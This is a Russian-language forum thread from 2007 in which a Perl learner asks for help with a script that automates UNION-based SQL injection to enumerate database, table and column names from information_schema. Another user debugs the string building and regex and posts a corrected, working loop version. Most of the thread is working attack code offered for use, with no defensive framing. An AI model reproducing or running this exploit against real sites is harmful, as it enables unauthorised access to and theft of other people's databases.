Проблемы с прогой на Perl'е
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Проблемы с прогой на Perl'е - 2007-07-10 21:13:08.270000
|
|
|
slashdot
Сообщений: 87
Оценки: 0
Присоединился: 2006-12-08 11:23:10.720000
|
Всем привет! Я только учусь програмировать на Perl'е и у меня возникли проблемы с прогой которую я писал для автоматизации процесса получения данных с базы данных через SQL-inj.
Код программы:
#!/usr/bin/perl
use LWP::UserAgent;
$http = "http://site.com/path/to/script.php?id=-4638 union select 1,2,3,4,concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME),6,7,8,9,10,11,12,13+from information_schema.COLUMNS limit $num,1/*";
$s_num = 160;
&scan($s_num);
sub scan($)
{
my $num = $_[0];
$http_query = $http;
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
@results = $res->content;
foreach $result(@results)
{
if ($result =~ m/(\w+\W\w+\W\w+)/)
{
open(FILE,">>table.txt");
print FILE $1."\n";
close(FILE);
print "\n".$1."\n";
$num = $num + 1;
&scan($num);
}
else
{
print "Not found! String -> ".$num."\n" ;
exit(0);
}
}
}
Программа должна получать страницу и искать в ней по шоблону строку примерно такого вида: BASE_Name:TABLE_Name:COLUMN_NAME а она пишет что нету совпадений. Регистр букв любой, знак кодчеркивания может отсутствовать. Я думаю что ошибка именно в шаблоне. Помогите разобраться с роблемой. И дайте пожалуйста ссылки на документацию по сетевому программированию в Perl'е Заранее благодарен всем кто откликнется на проблему.
|
|
|
RE: Проблемы с прогой на Perl'е - 2007-07-10 21:38:50.033333
|
|
|
blonx
Сообщений: 1150
Оценки: 0
Присоединился: 2006-04-01 03:28:42
|
$http = "http://site.com/path/to/script.php?id=-4638 union select 1,2,3,4,concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME),6,7,8,9,10,11,12,13+from information_schema.COLUMNS limit $num,1/*" - бред какой-то http://docs.h1.ru/perl.html - полистай на досуге и не поленись в следующий раз спросить у Google
|
|
|
RE: Проблемы с прогой на Perl'е - 2007-07-10 22:00:31.346666
|
|
|
slashdot
Сообщений: 87
Оценки: 0
Присоединился: 2006-12-08 11:23:10.720000
|
Нет не бред8| Мне нужен шаблон под BASE_Name:TABLE_Name:COLUMN_NAME, читай выше всё расписано
|
|
|
RE: Проблемы с прогой на Perl'е - 2007-07-11 17:03:46.696666
|
|
|
max_dark
Сообщений: 59
Оценки: 0
Присоединился: 2007-05-04 01:21:24.333333
|
Во первых, это можно зделать и без рекурсии Во вторых, переменная $num неопределена при присвоении $http значения. поэтому получается, что
$http="http://site.com/path/to/script.php?id=-4638 union select 1,2,3,4,concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME),6,7,8,9,10,11,12,13+from information_schema.COLUMNS limit ,1/*";
что, естественно, вызывает ошибку синтаксиса SQL и никакой выдачи информации не происходит т.е. переменную $http необходимо формировать в функции &scan($num) #===============# #Если уж хочешь сделать так, то присвой
$http="http://site.com/path/to/script.php?id=-1 union select 1,2,3,4,concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME),6,7,8,9,10,11,12,13+from information_schema.COLUMNS limit ";
$http_query = $http.$num.",1/*";
#===============# Я не совсем понял, зачем тебе $s_num = 160 Если это общее количество записей, то зачем его увеличивать?
|
|
|
RE: Проблемы с прогой на Perl'е - 2007-07-11 23:12:00.603333
|
|
|
slashdot
Сообщений: 87
Оценки: 0
Присоединился: 2006-12-08 11:23:10.720000
|
$s_num = 160 - это не общее кол-во записей, это то значение где кончается системные таблицы
|
|
|
RE: Проблемы с прогой на Perl'е - 2007-07-12 11:31:39.403333
|
|
|
max_dark
Сообщений: 59
Оценки: 0
Присоединился: 2007-05-04 01:21:24.333333
|
После доработки напильником у меня получилось следующее:
#!/usr/bin/perl
use LWP::UserAgent;
$http = "http://localhost/test/test.php?id=-1+union+select";
$http.="+concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME)";
$http.="+from+information_schema.COLUMNS+limit+";
$s_num = 0;
&scan($s_num);
sub scan {
my $num = shift;
$mcb_reguest = LWP::UserAgent->new() or die;
open(FILE,">>table.txt");
loop: {
$http_query = $http.$num.",1/*";
$res = $mcb_reguest->get($http_query);
@results = $res->content;
foreach $result(@results) {
if ($result =~ m/(\w+:\w+:\w+)/) {
print FILE $1."\n";
print $1."\n";
$num = $num + 1;
goto loop;
##&scan($num);
} else {
print "Not found! String -> ".$num."\n" ;
close(FILE);
##exit(0);
return;
}
}
}
}
|
|
|
|
|